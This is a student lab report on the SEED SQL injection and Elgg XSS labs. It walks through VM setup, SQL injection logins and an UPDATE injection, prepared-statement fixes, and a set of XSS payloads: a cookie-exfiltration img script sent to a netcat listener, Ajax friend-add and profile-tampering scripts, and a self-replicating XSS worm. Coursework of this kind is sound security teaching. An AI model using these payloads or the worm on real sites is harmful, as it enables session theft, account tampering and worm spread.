当前位置: 首页 > news >正文

20253909 2024-2025-2 《网络攻防实践》实践十报告

20253909 2025-2026-2 《网络攻防实践》第10次作业

这次作业有两条主线:SEED SQL 注入攻击与防御SEED XSS 跨站脚本攻击(Elgg),都在 SEED Ubuntu 16.04 32 位虚拟机里完成。SQL 注入一路从"熟悉 credential 表"开始,先在不知道密码的情况下用 admin'#samy'# 登进员工管理系统,再借员工资料编辑页把 Samy 的薪水改成自己的学号,最后用预编译语句(prepared statement)把这两个洞补上。XSS 部分围绕 Elgg 社交平台展开,从最简单的 alert 弹窗,到弹出/外带 Cookie,再到无感知加好友、无感知篡改别人资料,最后写出一只能自我复制、在用户之间传播的 XSS 蠕虫,并用 HTMLawed 插件做防御。整篇下来,正好把"注入—越权—外带—自动化—蠕虫化—再防御"这条 Web 攻防的完整链路走了一遍。


目录

  • 一、实践内容
  • 二、实践过程
    • (一)实验环境搭建
    • (二)SEED SQL 注入攻击与防御
      • 任务一:熟悉 SQL 语句
      • 任务二:对 SELECT 语句的 SQL 注入
      • 任务三:对 UPDATE 语句的 SQL 注入
      • 任务四:SQL 注入防御
    • (三)SEED XSS 跨站脚本攻击(Elgg)
      • 准备:登录 XSS Lab 并进入资料编辑
      • 任务一:弹窗显示警告信息
      • 任务二:弹窗显示 Cookie
      • 任务三:窃取受害者的 Cookie
      • 任务四:无感知地加好友
      • 任务五:无感知地篡改受害者资料
      • 任务六:编写 XSS 蠕虫
      • 任务七:对抗 XSS 攻击
  • 三、学习中遇到的问题及解决
  • 四、扩展讨论:注入与 XSS 的本质,以及防御的统一思路
  • 五、实践总结
  • 附录:本文术语速查表
  • 参考资料

一、实践内容

  本次实践分两大块,都使用 SEED 实验室预置的靶场环境。

  第一块是 SEED SQL 注入攻击与防御。 靶场是一个简单的员工管理 Web 应用,托管在 www.SeedLabSQLInjection.com,分管理员(特权,可管理所有员工)和普通员工(只能看/改自己)两类角色。后台数据库名为 Users,里面有一张 credential 表,存了每个员工的 eid、薪水、生日、SSN、密码等敏感信息。四个任务依次是:① 用 MySQL 客户端熟悉 credential 表与基本查询;② 在不知道密码的情况下,利用登录处的 SELECT 注入漏洞直接登入;③ 通过员工资料更新界面实施 UPDATE 注入,篡改数据库里的薪水字段;④ 用预编译语句修复上述两处漏洞。

  第二块是 SEED XSS 跨站脚本攻击(Elgg)。 靶场是一个被改造过、关闭了输入过滤的社交网站 Elgg,托管在 www.xsslabelgg.com,预置了 Alice、Boby、Samy、Admin 等账号。任务从浅到深:在个人资料里嵌入 JavaScript,让访问者①弹窗、②弹出自己的 Cookie、③把 Cookie 外带给攻击者;再用 Ajax 在受害者无感知的情况下④把攻击者加为好友、⑤篡改受害者的个人资料;⑥把上面几步组合并加上"自我复制"逻辑,写成一只能在用户间传播的 XSS 蠕虫;⑦最后开启 HTMLawed 过滤插件做防御。

  实验环境统一为 SEED Ubuntu 16.04 32 位虚拟机(镜像 SEEDUbuntu-16.04-32bit,默认登录用户 seed,MySQL root 默认口令 seedubuntu)。按作业要求,本次开始前我把虚拟机主机名从默认的 VM 改成了 3909ljt(学号后四位 3909 + 姓名拼音首字母 ljt),并把所有要编辑的源码文件名都加上了学号前缀 3909。下面先从在 VMware 里搭建这台 SEED 虚拟机讲起。


二、实践过程

(一)实验环境搭建

1. 新建 SEED Ubuntu 16.04 虚拟机

  SEED 官方提供的是一份现成的虚拟磁盘(SEEDUbuntu-16.04-32bit.zip,解压后是 .vmdk 文件),下载链接: https://seed.nyc3.cdn.digitaloceanspaces.com/SEEDUbuntu-16.04-32bit.zip ,因此不需要从 ISO 重新安装系统,而是"新建一台虚拟机 + 挂载现有磁盘"。在 VMware Workstation 里点 文件(F) → 新建虚拟机(N)…(快捷键 Ctrl+N)启动向导(图1)。

图1
图1:文件 → 新建虚拟机

  向导第一步选 自定义(高级)(C),这样后面能手动指定磁盘、控制器等参数(图2)。

图2
图2:选择"自定义(高级)"配置

  硬件兼容性保持默认的 Workstation 16.2.x(图3)。

图3
图3:硬件兼容性 Workstation 16.2.x

  "安装客户机操作系统"这一步选 稍后安装操作系统(S)——因为我们用的是现成磁盘,不需要现在指定安装盘(图4)。

图4
图4:稍后安装操作系统

  客户机操作系统选 Linux(L),版本下拉选 Ubuntu(注意是 32 位镜像,但这里选 Ubuntu 即可,VMware 会按通用配置处理)(图5)。

图5
图5:客户机系统选 Linux / Ubuntu

  给虚拟机命名为 Ubuntu,位置放在 E:\虚拟机镜像\Ubuntu(图6)。

图6
图6:命名虚拟机并指定位置

  处理器配置为 2 个处理器、每个 1 核,共 2 核(图7);内存分配 4096 MB(图8)。

图7
图7:处理器数量 2 × 1 核
图8
图8:内存 4096 MB

  网络类型选 使用网络地址转换(NAT)(E),让虚拟机能通过宿主机访问外网,同时各靶场域名都解析到本机回环地址(图9)。

图9
图9:网络类型选 NAT

  I/O 控制器选推荐的 LSI Logic(L)(图10),磁盘类型选 SCSI(S)(图11)。

图10
图10:I/O 控制器 LSI Logic
图11
图11:磁盘类型 SCSI

  关键的一步——磁盘选 使用现有虚拟磁盘(E)(图12),然后点"浏览",在 E:\虚拟机镜像\ 下找到解压好的 SEEDUbuntu-16.04-32bit 文件夹(图13),选中里面的 SEEDubuntu-16.04-32bit.vmdk(图14)。

图12
图12:使用现有虚拟磁盘
图13
图13:定位 SEEDUbuntu-16.04-32bit 文件夹
图14
图14:选择现有的 .vmdk 磁盘文件

  最后核对一下摘要——名称 Ubuntu、磁盘是现有的 SEEDUbuntu-16.04、内存 4096、网络 NAT,确认无误点 完成(图15)。开机后就进入了 SEED Ubuntu 桌面,能看到熟悉的 SEEDLABS 壁纸(图16)。桌面右上角弹出的 "VBoxClient: the VirtualBox kernel service is not running" 是因为这份镜像里残留了 VirtualBox 的增强工具、在 VMware 下不起作用,可以忽略,不影响实验。

图15
图15:核对摘要并完成创建
图16
图16:SEED Ubuntu 桌面启动成功

2. 安装 VMware Tools

  为了让虚拟机支持自适应分辨率、宿主机与虚拟机间复制粘贴,需要装 VMware Tools。点菜单 虚拟机(M) → 安装 VMware Tools(T)…(图17),VMware 会把工具光盘挂载到虚拟机里。

图17
图17:虚拟机菜单 → 安装 VMware Tools

  光盘挂载后,在文件管理器的 "VMware Tools" 这个盘里能看到 manifest.txtrun_upgrader.sh 以及核心的 VMwareTools-10.3.23-16594550.tar.gz(图18)。把这个 tar.gz 复制到家目录 ~(Home)下,方便操作(图19)。

图18
图18:VMware Tools 光盘已挂载
图19
图19:把安装包复制到家目录

  打开终端(Terminator),先用 tar 解压安装包(图20)。-z 表示走 gzip 解压、-x 解包、-v 显示过程、-f 指定文件名:

cd ~
tar -zxvf VMwareTools-10.3.23-16594550.tar.gz
图20
图20:tar -zxvf 解压安装包

  解压出一个 vmware-tools-distrib 目录,cd 进去(图21):

cd vmware-tools-distrib
图21
图21:进入 vmware-tools-distrib 目录

  然后用 root 权限跑安装脚本:

sudo ./vmware-install.pl

  脚本先弹了一行 sudo: unable to resolve host 3909ljt(这是改了主机名却没同步 /etc/hosts 导致的,详见后面"问题"一节),接着提示 open-vm-tools 是官方推荐方案、问是否仍要继续安装,这里输入 y 回车,后续所有配置项一路回车用默认值即可(图22)。

图22
图22:运行 vmware-install.pl,输入 y 继续

  装完后终端打印 "The configuration of VMware Tools … completed successfully.",提示重启 X 会话后生效(图23)。VMware Tools 安装完成。

图23
图23:VMware Tools 安装成功

3. 修改主机名为 3909ljt

  作业要求所有截图里的主机名必须是本人姓名拼音,所以把默认主机名 VM 改成 3909ljt。改主机名要动两个文件。先用 nano 编辑 /etc/hostname(此时提示符还是 seed@VM)(图24):

sudo nano /etc/hostname
图24
图24:sudo nano /etc/hostname(主机名还是 VM)

  把文件里原来的 VM 整行删掉,改成 3909ljt,按 Ctrl+O 回车保存、Ctrl+X 退出(图25)。

图25
图25:/etc/hostname 改为 3909ljt

  再编辑 /etc/hosts(图26):

sudo nano /etc/hosts
图26
图26:sudo nano /etc/hosts

  把 127.0.1.1 那一行后面的主机名也同步改成 3909ljt(这一行是 sudo 反查主机名用的,不改会让每条 sudo 都卡一下)。这个文件里同时能看到各靶场域名都被映射到 127.0.0.1www.SeedLabSQLInjection.comwww.xsslabelgg.comwww.csrflabelgg.com 等——也就是说我们访问这些"网站"其实都是访问本机的 Apache(图27)。同样 Ctrl+O 保存、Ctrl+X 退出。

图27
图27:/etc/hosts 把 127.0.1.1 同步为 3909ljt

4. 启动 Apache 与 MySQL 服务

  两个靶场都是 PHP + MySQL 的 Web 应用,靠 Apache 提供服务。启动并查看 Apache 状态(图28):

sudo service apache2 start
sudo service apache2 status

  输出里 Active: active (running) 表示 Apache 已经在跑,日志里的主机名也变成了 3909ljt。MySQL(数据库)一般随系统自启,下一节连库时会确认。至此环境全部就绪。

图28
图28:启动 Apache 服务并确认 running

(二)SEED SQL 注入攻击与防御

任务一:熟悉 SQL 语句

  先用 MySQL 客户端连上数据库,熟悉一下 credential 表长什么样。SEED Ubuntu 里 MySQL 的 root 默认口令是 seedubuntu,用 -u 指定用户、-p 紧跟密码(中间不留空格)(图29):

mysql -u root -pseedubuntu

  成功进入 mysql> 交互界面(命令行带密码会有一行 insecure 的 warning,实验环境无所谓)。

图29
图29:mysql -u root -pseedubuntu 登入数据库

  先看有哪些库(图30):

show databases;

  能看到 Users(SQL 注入靶场用的库)、elgg_xss(XSS 靶场用的库)、elgg_csrf 以及系统自带的 information_schemamysql 等共 8 个库。

图30
图30:show databases 查看所有数据库

  切到 Users 库,看里面有哪些表(图31):

use Users;
show tables;

  Database changed 之后,show tables 显示这个库里只有一张表 credential

图31
图31:use Users 并 show tables

  把整张表查出来看看(图32):

select * from credential;

  一共 6 条记录——Alice、Boby、Ryan、Samy、Ted、Admin,每条都带 ID、EID、薪水、生日、SSN 和一串 SHA1 密码哈希。Samy 的薪水是 90000、Admin 的薪水是 400000,这两个值后面会用到。

图32
图32:select * from credential 查出全部 6 名员工

  再练两条带条件的查询。按 ID 范围查前三个(图33):

select * from credential where ID <=3;

  按姓名精确查 Alice(图34):

select * from credential where Name='Alice';

  where Name='Alice' 这种"字符串拼在单引号里"的写法,正是后面 SELECT 注入要利用的地方——如果用户输入里能塞进一个单引号,就能改写整条 SQL 的逻辑。

图33
图33:where ID <=3 查询前三名
图34
图34:where Name='Alice' 按姓名查询

任务二:对 SELECT 语句的 SQL 注入

  目标:在不知道任何密码的情况下登进员工管理系统。

  先用 Firefox 打开靶场首页 www.seedlabsqlinjection.com,这是一个 "Employee Profile Login" 登录页(图35)。

图35
图35:员工登录页 Employee Profile Login

  在动手注入前,先了解登录表单是怎么提交的。在页面上右键 → 查看页面源代码(View Page Source)(图36),看到表单 <form action="unsafe_home.php" method="get">,用户名输入框 name="username"、密码框 name="Password"(图37)。也就是说登录请求会以 GET 方式把 username、Password 拼进 URL 提交给 unsafe_home.php

图36
图36:右键查看页面源代码
图37
图37:登录表单源代码(action=unsafe_home.php,GET 提交)

  接下来在用户名框里输入:

admin'#

  密码框随便填几个字符(图38)。这里的原理是:后台拼 SQL 的语句是

SELECT ... FROM credential WHERE name='$input_uname' and Password='$hashed_pwd';

  我们输入的 admin'# 被拼进去后,整条语句变成

SELECT ... FROM credential WHERE name='admin'#' and Password='...';

  其中那个单引号 ' 提前闭合了 name 的字符串,紧跟的 # 是 MySQL 的行注释符,把后面的 and Password=... 整段注释掉了。于是 SQL 只剩 WHERE name='admin'——数据库眼里就是"查 name 为 admin 的那条记录",密码校验被完全绕过。

图38
图38:用户名输入 admin'#,密码任意

  点 Login,直接以管理员身份登入,看到 "User Details" 页面,一次性列出了 Alice、Boby、Ryan、Samy、Ted、Admin 全部 6 名员工的 EID、薪水、生日、SSN(图39)。URL 也印证了注入串:unsafe_home.php?username=admin'%23&Password=...%23 就是 # 的 URL 编码)。

图39
图39:admin'# 登录后看到全部员工信息

  同样地,把用户名换成

samy'#

  密码任意(图40),就能以普通员工 Samy 的身份登入,看到 Samy 自己的资料:Employee ID 40000、Salary 90000、SSN 32193525(图41)。普通员工只能看到自己一行,和管理员能看全部形成对比。

图40
图40:用户名输入 samy'#
图41
图41:samy'# 登录后看到 Samy 的个人资料

  为了搞清楚"为什么管理员能看全部、普通员工只能看自己",把后台脚本 unsafe_home.php 的源码翻出来看一下。在 Firefox 地址栏直接访问文件路径 /var/www/SQLInjection/unsafe_home.php,浏览器弹出"打开方式",选 gedit 打开(图42)。

图42
图42:用 gedit 打开 unsafe_home.php

  源码开头能看到它从 GET 请求里取出 username、Password,并对密码做 sha1()(图43):

$input_uname = $_GET['username'];
$input_pwd = $_GET['Password'];
$hashed_pwd = sha1($input_pwd);
图43
图43:unsafe_home.php 头部,从 GET 提取用户名密码

  往下翻到 drawLayout() 函数,关键是这一句 if ($name !="Admin")(图44)——只有当登录者不是 Admin 时,才走"普通员工只显示自己一行"的分支;是 Admin 时则把所有人都列出来。这就是越权能看全表的根源。

图44
图44:drawLayout 里的 if ($name != "Admin") 判定

  最核心的漏洞,是那条直接用字符串拼接构造的 SELECT 语句(在终端用 vim 打开同一文件能更清楚地看到)(图45):

$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, PasswordFROM credentialWHERE name= '$input_uname' and Password='$hashed_pwd'";

  '$input_uname' 把用户输入直接嵌进单引号里,没有任何转义或参数化——这正是 SQL 注入的标准成因。任务四会用预编译语句把它补上。

图45
图45:unsafe_home.php 中拼接式的漏洞 SELECT 语句

任务三:对 UPDATE 语句的 SQL 注入

  目标:借员工资料更新界面,篡改数据库里的字段(把 Samy 的薪水改成我的学号 20253909)。

  以管理员或员工身份登录后,导航栏有个 Edit Profile,进去是资料编辑页(图46 是管理员的 Admin's Profile Edit)。同样先看一下表单结构:右键 → 查看页面源代码(图47),看到表单提交到 unsafe_edit_backend.php,NickName 输入框 name="NickName"(图48)。

图46
图46:进入资料编辑页 Edit Profile
图47
图47:右键查看编辑页源代码
图48
图48:unsafe_edit_frontend.php 表单源代码

  后台更新资料的 SQL 大致是这样(同样是拼接式):

UPDATE credential SET nickname='$input_nickname', email='$input_email', address='$input_address',Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id;

  注意它 SET 的第一项就是 nickname='$input_nickname'。于是我以 Samy 身份登录,在 NickName 框里填入下面这串注入 payload(其余框留空),点 Save(图49):

', salary='20253909' where Name='Samy';#

  它被拼进去后,UPDATE 语句变成:

UPDATE credential SET nickname='', salary='20253909' where Name='Samy';#', email='', ... WHERE ID=$id;

  前一个单引号闭合了 nickname 的空字符串,逗号后面追加了 salary='20253909',再用 where Name='Samy' 限定只改 Samy 这一行,末尾 # 把原语句剩下的部分(email、address、原来的 where ID 等)整段注释掉。结果就是:Samy 的薪水被改成了 20253909。

图49
图49:在 NickName 框注入,修改 salary 为 20253909

  回到首页(Home)刷新 Samy 的资料——Salary 已经从原来的 90000 变成了 20253909(图50),UPDATE 注入成功。一个本该只能改昵称的输入框,被用来改写了薪水这种敏感字段。

图50
图50:Samy 的薪水已被改为 20253909

任务四:SQL 注入防御

  思路:彻底放弃字符串拼接,改用预编译语句(Prepared Statement)+ 参数绑定(bind_param)。 预编译语句先把"带占位符 ? 的 SQL 模板"发给数据库编译定型,再把用户输入作为纯数据填进占位符——数据永远不会被当成 SQL 语法解析,注入也就无从谈起。

  准备:先给要改的源码文件加学号。 为满足"编辑的文件名包含学号"的评分要求,先在 /var/www/SQLInjection/ 下把两个要改的 PHP 文件备份并重命名加上 3909 前缀,同时用 sed 把引用这些文件的地方一并改名(图51):

cd /var/www/SQLInjection/
cp unsafe_home.php unsafe_home.php.bak
cp unsafe_edit_backend.php unsafe_edit_backend.php.bak
mv unsafe_home.php 3909_unsafe_home.php
mv unsafe_edit_backend.php 3909_unsafe_edit_backend.php
sed -i 's/action="unsafe_home.php"/action="3909_unsafe_home.php"/g' index.html
sed -i 's/action="unsafe_edit_backend.php"/action="3909_unsafe_edit_backend.php"/g' unsafe_edit_frontend.php
图51
图51:备份并把源码文件重命名加上学号 3909

  修复 SELECT(登录)。 用 vim 打开 SELECT 后端文件(图52):

vim /var/www/SQLInjection/unsafe_home.php
图52
图52:vim 打开 unsafe_home.php 准备修复

  把任务二里那条拼接式 SELECT 整段替换成预编译写法:用 ? 做占位符,再用 bind_param("ss", …) 把两个字符串参数绑上去("ss" 表示两个 string 类型),最后 execute() 执行、get_result() 取结果(图53)。改完按 ESC,输入 :wq 回车保存退出:

$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);
$sql->execute();
$result = $sql->get_result();
图53
图53:用预编译语句重写登录的 SELECT

  修复 UPDATE(改资料)。 先看一眼原始的漏洞代码——在 Firefox 里访问 /var/www/SQLInjection/unsafe_edit_backend.php,用 gedit 打开(图54),能看到那段拼接式的 UPDATE(图55):原代码根据"密码框是否为空"分两种情况拼 SQL,但两种都是直接 $conn->query($sql) 执行拼接串,所以都可被注入。

图54
图54:用 gedit 打开 unsafe_edit_backend.php
图55
图55:unsafe_edit_backend.php 中原始的漏洞 UPDATE

  再用 vim 打开它来改(图56):

vim /var/www/SQLInjection/unsafe_edit_backend.php
图56
图56:vim 打开 unsafe_edit_backend.php 准备修复

  把两个分支的 UPDATE 都改成预编译 + 参数绑定(密码非空时多绑一个 Password 字段,对应 "sssss" 五个字符串参数;密码为空时是 "ssss" 四个)(图57)。同样 :wq 保存:

if($input_pwd!=''){// 密码框非空$hashed_pwd = sha1($input_pwd);$_SESSION['pwd']=$hashed_pwd;$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,Password=?,PhoneNumber=? where ID=$id;");$sql->bind_param("sssss", $input_nickname, $input_email, $input_address, $hashed_pwd, $input_phonenumber);
}else{// 密码框为空$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");$sql->bind_param("ssss", $input_nickname, $input_email, $input_address, $input_phonenumber);
}
$sql->execute();
$conn->close();
图57
图57:用预编译语句重写改资料的 UPDATE

  验证防御效果。 改完后再回到登录页,重新尝试任务二的 admin'# 注入——这次输入里的单引号、# 都被当成普通字符当作"用户名"去匹配,匹配不到任何记录,页面不再越权登入,而是回到了报错/无结果的状态 "There was an error running the query"(图58)。注入手法对预编译语句彻底失效,防御成立。

图58
图58:修复后再注入,已无法生效(查询报错/登录失败)

  SQL 注入部分小结:

任务 关键操作 要点
熟悉 SQL mysql -u root -pseedubuntuselect * from credential 看懂 credential 表与字符串拼接的查询
SELECT 注入 用户名填 admin'# / samy'#,密码任意 ' 闭合字符串,# 注释掉密码校验
UPDATE 注入 NickName 填 ', salary='20253909' where Name='Samy';# 借资料编辑改写薪水字段
防御 prepare(...?...) + bind_param 参数化让输入永远只当数据,不当 SQL

(三)SEED XSS 跨站脚本攻击(Elgg)

  这一块的靶场是社交网站 Elgg(域名 www.xsslabelgg.com),它被特意关掉了输入过滤,预置了 Alice / Boby / Samy / Admin 等账号(口令分别是 seedalice / seedboby / seedsamy / seedelgg)。攻击思路是存储型 XSS:把 JavaScript 藏进自己的个人资料里,别人一访问我的主页,脚本就在对方的浏览器、对方的登录会话里执行。下面 7 个任务从"弹个窗"一路升级到"会自我复制的蠕虫"。

准备:登录 XSS Lab 并进入资料编辑

  先打开 www.xsslabelgg.com,首页是个登录页,"Latest activity: No activity"(图59)。页面顶部那条黄色 "One or more installed add-ons cannot be verified and have been disabled." 是 Firefox 对老插件的提示,与实验无关。

图59
图59:XSS Lab Site 首页

  用 Alice 账号登录(用户名 Alice,口令 seedalice)(图60),登录成功后右上角提示 "You have been logged in.",侧边出现 Alice(图61)。

图60
图60:以 Alice 身份登录
图61
图61:Alice 登录成功

  进入 Alice 的个人主页,点 Edit profile 编辑资料(图62)。

图62
图62:进入 Alice 主页并点击 Edit profile

  这里有个关键点: 资料里的 "About me" 默认是富文本编辑器(可视化模式),直接粘脚本会被它转义成纯文本、无法执行。必须点编辑框右上角的 Edit HTML,切换到 HTML 源码模式,脚本才会被当成真正的 HTML/JS 存进去(图63)。后面几个写进 About me 的脚本都要先切到这个模式。而短一些的脚本我放在 "Brief description" 框(它本身就是纯文本输入、不会转义)。

图63
图63:点击 Edit HTML 切到源码模式

任务一:弹窗显示警告信息

  最基础的 XSS——让访问者弹出一个对话框。在 Brief description 框里填入带学号的 alert 脚本(图64):

<script>alert("20253909");</script>
图64
图64:Brief description 填入 alert("20253909")

  拉到页面最下方点 Save 保存(图65)。

图65
图65:点击 Save 保存资料

  保存后页面回到 Alice 主页、加载到这段脚本时立刻弹出对话框,内容正是 20253909(图66)。这说明嵌进资料的 <script> 被浏览器当成真正的脚本执行了——存储型 XSS 成立。任何访问 Alice 主页的人都会触发同样的弹窗。

图66
图66:访问页面时弹出 20253909

  把弹窗内容换成当前页面的 Cookie。Brief description 改成(图67):

<script>alert(document.cookie);</script>
图67
图67:填入 alert(document.cookie)

  保存后弹窗显示出当前会话的 Elgg Cookie:Elgg=h2oj3kvef2apr822uo610v8264(图68)。document.cookie 能被 JS 直接读到,意味着只要能注入脚本,就能拿到受害者的会话凭证——这正是下一步"窃取 Cookie"的基础。

图68
图68:弹窗显示出 Elgg 会话 Cookie

  光弹出来还不够,要把 Cookie 外带到攻击者控制的机器上。思路是:注入的脚本动态写一个 <img>,图片地址指向"攻击者监听的地址 + Cookie 内容",浏览器为了加载这张图片就会把 Cookie 发出去;攻击者用 nc 监听端口,就能在请求里收到 Cookie。

  先 ifconfig 确认本机 IP——这里既当攻击者又当受害者,ens33 网卡地址是 192.168.200.12(图69):

ifconfig
图69
图69:ifconfig 确认本机 IP 为 192.168.200.12

  在 Brief description 里填入窃取脚本,把 Cookie 拼到图片 URL 的查询参数里(端口用 1921)(图70):

<script>document.write('<img src=http://192.168.200.12:1921?c=' + escape(document.cookie) + '>');</script>
图70
图70:填入把 Cookie 外带的窃取脚本

  在终端开一个监听(攻击者侧),-l 监听、-v 显示详情:

nc -l 1921 -v

  让受害者(这里就是 Alice 自己)访问带毒的主页。脚本一执行,浏览器去加载那张不存在的"图片",nc 这边立刻收到一条 HTTP 请求,URL 里赫然带着 GET /?c=Elgg%3Dh2oj3kvef2apr822uo610v8264——Cookie 被成功外带(图71)。攻击者拿到这串 Cookie,就能冒充受害者的会话。

图71
图71:nc 监听 1921 端口收到外带的 Cookie

任务四:无感知地加好友

  目标:受害者只要访问 Alice 的主页,就在毫不知情的情况下把 Alice 加为好友。 这本质是一次借 XSS 发起的 CSRF——用受害者的身份和凭证,替他发出"加好友"请求。

  Elgg 的加好友请求带了防 CSRF 的令牌,所以得先搞清楚请求长什么样。用 Firefox 开发者工具(F12)的 Network 面板抓一次正常加好友的请求,看到它是个 GET:/action/friends/add?friend=45&__elgg_ts=...&__elgg_token=...,必须带上 friend(目标用户 guid)、__elgg_ts(时间戳)、__elgg_token(令牌)三个参数(图72)。本机实测 Alice 的 guid 是 45。

图72
图72:开发者工具分析加好友请求的参数

  好在 Elgg 页面里有现成的全局对象 elgg.security.token,能直接读到当前会话的 __elgg_ts__elgg_token。于是把下面的脚本写进 Alice 的 About me(记得先 Edit HTML)——页面加载时用 XMLHttpRequest 自动发出加好友请求(图73):

<script type="text/javascript">
window.onload = function () {var Ajax = null;var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;var token = "&__elgg_token=" + elgg.security.token.__elgg_token;var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;Ajax = new XMLHttpRequest();Ajax.open("GET", sendurl, true);Ajax.setRequestHeader("Host", "www.xsslabelgg.com");Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");Ajax.send();
}
</script>

  说明:脚本里各参数之间用 & 连接(注意在 Elgg 的 HTML 编辑器里要确认存进去的是 & 而不是被转义成的 &amp;,可在开发者工具里核对实际发出的请求)。friend= 后面跟的是要加的目标 guid。

图73
图73:About me 中写入自动加好友脚本

  验证:用受害者 Boby 登录。攻击前,Boby 看 Alice(或对应目标)的主页,好友按钮是 Add friend、好友栏 "No friends yet"(图74)。当 Boby 访问到带毒主页、脚本在 Boby 会话里执行后,页面提示 "You have successfully added Boby as a friend.",按钮变成 Remove friend(图75);再刷新确认,好友关系已经建立(图76)。整个过程 Boby 没点过任何"加好友"按钮。

图74
图74:攻击前,好友按钮是 Add friend
图75
图75:脚本执行后自动加好友成功
图76
图76:刷新确认好友关系已建立

任务五:无感知地篡改受害者资料

  目标:受害者访问 Alice 主页后,他自己的"About me"被悄悄改成 "This have been cracked by alice."。 原理同上,只是把 GET 加好友换成 POST 提交资料编辑表单 /action/profile/edit,并构造完整的表单字段(description 设为目标文案,其余字段和访问级别 accesslevel 一并带上)。脚本里用 if(elgg.session.user.guid!=aliceGuid) 做了个判断——只在"访问者不是 Alice 本人"时才动手,免得把自己的资料也改了。把它写进 About me(图77):

<script type="text/javascript">
window.onload = function(){var userName = elgg.session.user.name;var guid = "&guid=" + elgg.session.user.guid;var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;var token = "&__elgg_token=" + elgg.security.token.__elgg_token;var content = token + ts + "&name=" + userName +"&description=<p>This have been cracked by alice.</p>" +"&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2" +"&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2" +"&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2" +"&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2" +"&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;var sendurl = "http://www.xsslabelgg.com/action/profile/edit";var aliceGuid = 44;if (elgg.session.user.guid != aliceGuid) {var Ajax = null;Ajax = new XMLHttpRequest();Ajax.open("POST", sendurl, true);Ajax.setRequestHeader("Host", "www.xsslabelgg.com");Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");Ajax.send(content);}
}
</script>
图77
图77:About me 中写入篡改资料脚本

  验证:用 Boby 登录后访问 Alice 主页,再回看 Boby 自己的主页——"About me" 已经被改成了 "This have been cracked by alice."(图78),同时 Boby 的好友栏里也出现了 Alice。受害者的个人资料在无感知中被攻击者改写。

图78
图78:Boby 的资料被改成 This have been cracked by alice.

任务六:编写 XSS 蠕虫

  目标:把前面的攻击"蠕虫化"——访问者中招后,他自己的资料里也会被种上同一段攻击脚本,于是再有人访问中招者的主页又会被感染,如此自我复制、在用户间不断传播。 这正是当年著名的 MySpace "Samy worm" 的原理。

  蠕虫的核心难点是"脚本如何获得自己的源码"。这里用 DOM 法:给脚本标签加 id="worm",运行时用 document.getElementById("worm").innerHTML 读到自己的内容,再拼回完整的 <script>…</script>(注意闭合标签写成 "</" + "script>",避免提前把脚本截断),用 encodeURIComponent 编码后塞进资料的 description 里一起提交。这样被写入受害者资料的,就是一份和原版一模一样、带 id="worm" 的攻击脚本。把它写进 Alice 的 About me(图79,能看到 var aliceGuid=45; 和带学号的 20253909ljt):

<script id="worm" type="text/javascript">
window.onload = function(){var headerTag = "<script id='worm' type='text/javascript'>";var jsCode = document.getElementById("worm").innerHTML;var tailTag = "</" + "script>";var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);var userName = elgg.session.user.name;var guid = "&guid=" + elgg.session.user.guid;var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;var token = "&__elgg_token=" + elgg.security.token.__elgg_token;var content = token + ts + "&name=" + userName +"&description=<p>20253909ljt" + wormCode + "</p>" +"&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2" +"&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2" +"&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2" +"&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2" +"&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;var sendurl = "http://www.xsslabelgg.com/action/profile/edit";alert(content);var aliceGuid = 45;if (elgg.session.user.guid != aliceGuid) {var Ajax = null;Ajax = new XMLHttpRequest();Ajax.open("POST", sendurl, true);Ajax.setRequestHeader("Host", "www.xsslabelgg.com");Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");Ajax.send(content);}
}
</script>
图79
图79:About me 中写入 XSS 蠕虫脚本

  脚本里留了一句 alert(content) 用来调试。保存后弹窗里能看到蠕虫拼好的整个提交内容——&__elgg_token=…&name=Alice&description=<p>20253909ljt%3Cscript%20id%3D'worm'…,可以清楚地看到 description 里已经包含了 URL 编码后的、带 id='worm' 的脚本自身(图80)。这证明"自我复制"的 payload 构造成功。

图80
图80:弹窗显示蠕虫拼好的自我复制 payload

  验证传播:保存后 Alice 资料里就带上了蠕虫(图81,Alice 资料成功保存、好友栏出现 Boby)。再看 Alice 主页,About me 显示出蠕虫留下的可见标记 20253909ljt(这是用受害者 Boby 的视角看到的)(图82)。最后在站点活动流(All Site Activity)里能看到蠕虫传播留下的痕迹——"Boby is now a friend with Alice"、"Alice is now a friend with Boby" 接连出现,好友关系在用户之间被自动建立(图83)。蠕虫成功地一边复制自己、一边执行加好友/改资料的载荷。

图81
图81:Alice 资料保存,蠕虫已就位
图82
图82:Alice 主页 About me 出现蠕虫标记 20253909ljt
图83
图83:活动流显示好友关系被自动建立

任务七:对抗 XSS 攻击

  思路:开启 Elgg 自带的 HTMLawed 插件。 前面所有攻击之所以成立,是因为靶场关掉了输入过滤——用户提交的 HTML/JS 被原样存库、原样输出。HTMLawed 是一个 HTML 白名单过滤库,开启后会把用户输入里的 <script> 等危险标签清洗掉,从源头堵住存储型 XSS。

  用管理员账号 Admin(口令 seedelgg)登录(图84 是 Admin 的主页),进入站点管理后台(URL /admin),右侧 Configure 菜单里点 Plugins(图85)。

图84
图84:以 Admin 登录
图85
